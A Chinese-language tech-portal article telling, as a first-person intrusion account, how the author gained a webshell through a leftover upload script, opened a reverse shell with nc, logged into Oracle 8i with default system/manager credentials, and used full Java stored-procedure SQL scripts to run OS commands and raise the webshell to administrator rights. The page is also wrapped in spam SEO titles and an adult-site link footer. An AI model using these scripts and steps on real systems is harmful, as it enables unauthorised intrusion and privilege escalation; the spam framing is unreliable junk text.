成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

通過oracle默認賬戶提升權限的實現方法

數據庫 Oracle
通過oracle默認賬戶也能夠提升訪問的權限?是的,下面就教您這種通過oracle默認賬戶提升權限的實現方法,供您參考學習。

在oracle數據庫中,通過oracle默認賬戶也是可以提升訪問權限的,下文就為您介紹一個通過oracle默認賬戶提升權限的例子,希望可以讓您對數據庫安全性方面有所啟迪:

近日,偶到一主機上逛了一圈。主機的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.asp,結果輕輕松松的得到了webshell。

接著在主機上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user\程序目錄里,發現有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務,發現一般的可提權的方法都不可行,無SERV-U等等,主機的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。

在C盤下看到一個目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機的服務名“xxx”,看了下版本“oracle 8i”,用數據庫連接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx試了下默認的system賬戶,密碼manager,結果真的就連接到了本地的oracle服務。

這下好了,oracle默認賬戶就像是mssql下的sa,我們來通過他來提升權限,馬上編輯了幾個腳本。

1.

  1. sql create or replace and compilejava source named "Util"asimport java.io.*.  
  2. import java.lang.*.   
  3. public class Util extends Object{public static int RunThis(String args)  
  4. {  
  5. Runtime rt = Runtime.getRuntime().  
  6. int rc = -1.   
  7. try{Process p = rt.exec(args).  
  8. int bufSize = 4096.  
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).  
  10. int len.byte buffer[] = new byte[bufSize].  
  11. // Echo back what the program spit out  
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)  
  13. System.out.write(buffer, 0, len).   
  14. rc = p.waitFor().  
  15. }  
  16. catch (Exception e)  
  17. {  
  18. e.printStackTrace().  
  19. rc = -1.  
  20. }  
  21. finally{return rc.  
  22. }  
  23. }  
  24. }  
  25.  

2.

  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)  
  2. return numberaslanguage javaname Util.RunThis(java.lang.String)   
  3. return integer. 

3.

  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.  
  2. beginx :run_cmd(p_cmd).  
  3. end. 

保存在c:\下,然后用反連接得到的shell運行 sqlplus system/manager@xxx然后再來執行腳本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已創建、函數已創建、過程已創建,接著我們繼續 SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授權成功。

接著我們就可以來執行系統命令了。我想先把ASP.dll加入特權一組 SQL>exec :x := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到過程已經成功完成,這個時候我們重新登陸我們的webshell,他已經具有admin權限了。接著,再用NC返回一個shell,已經是管理權限的,我們可以做我們想干的事了。因為這個主機有防火墻過濾除80以外的端口,所以不好做圖形的后門,只有留下一有權限的webshell。到此已經提權成功。

 

 

 

【編輯推薦】

oracle數據導出和導入的權限

Oracle用戶和模式的區別

查看oracle用戶權限

oracle對象權限簡介

帶您深入了解oracle權限管理

 

責任編輯:段燃 來源: 互聯網
相關推薦

2009-08-07 09:35:40

Oracle發送Ema

2025-06-26 10:35:31

2009-07-19 10:06:12

2011-08-02 15:07:43

組策略群集用戶賬戶

2011-07-27 14:22:41

Oracle 10g DBA賬戶

2010-10-29 13:34:09

Oracle日志

2010-11-19 13:42:38

2010-10-29 10:33:55

ORACLE默認用戶

2009-10-21 14:27:12

Oracle用戶權限分

2009-10-21 14:48:39

Oracle用戶權限表

2010-10-29 14:20:54

Oracle移動控制文

2010-11-19 13:14:21

Oracle刪除歸檔日

2020-11-17 11:35:33

威脅管理

2010-10-14 11:48:20

MySQL賬戶密碼

2010-04-14 09:41:10

Oracle數據備份

2010-04-19 09:06:24

Oracle的方法

2009-11-02 15:15:43

Oracle授予用戶權

2010-10-29 16:12:51

Oracle存儲過程

2010-11-15 14:07:16

Oracle取固定記錄

2010-10-27 16:49:23

Oracle刪除重復記
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲免费精品 | 国产欧美精品一区二区三区 | 在线成人www免费观看视频 | 免费观看一级毛片视频 | 午夜免费在线 | 午夜伦4480yy私人影院 | 麻豆一区一区三区四区 | 免费xxxx大片国产在线 | 久久精品一区二区 | 精品中文字幕在线 | 在线观看av网站永久 | 91p在线观看 | 欧美日韩视频网站 | 欧美日韩国产中文字幕 | 亚洲97| 在线视频 欧美日韩 | 日韩中文字幕 | 视频二区在线观看 | 一级看片免费视频囗交动图 | 国产高潮好爽受不了了夜夜做 | 成人午夜激情 | 一级黄在线观看 | 欧美毛片免费观看 | 亚洲精品久久久9婷婷中文字幕 | 亚洲专区在线 | 中文字幕日韩欧美一区二区三区 | 日韩精品在线视频免费观看 | 亚欧性视频 | www免费视频| 欧美激情五月 | 天天插天天操 | 韩国精品一区二区三区 | 在线三级网址 | 伊人春色成人网 | 羞羞视频网站在线观看 | h视频网站在线观看 | 日本三级视频 | 国产精品久久久久久久久久三级 | jizz视频 | 午夜免费福利影院 | 亚洲综合视频 |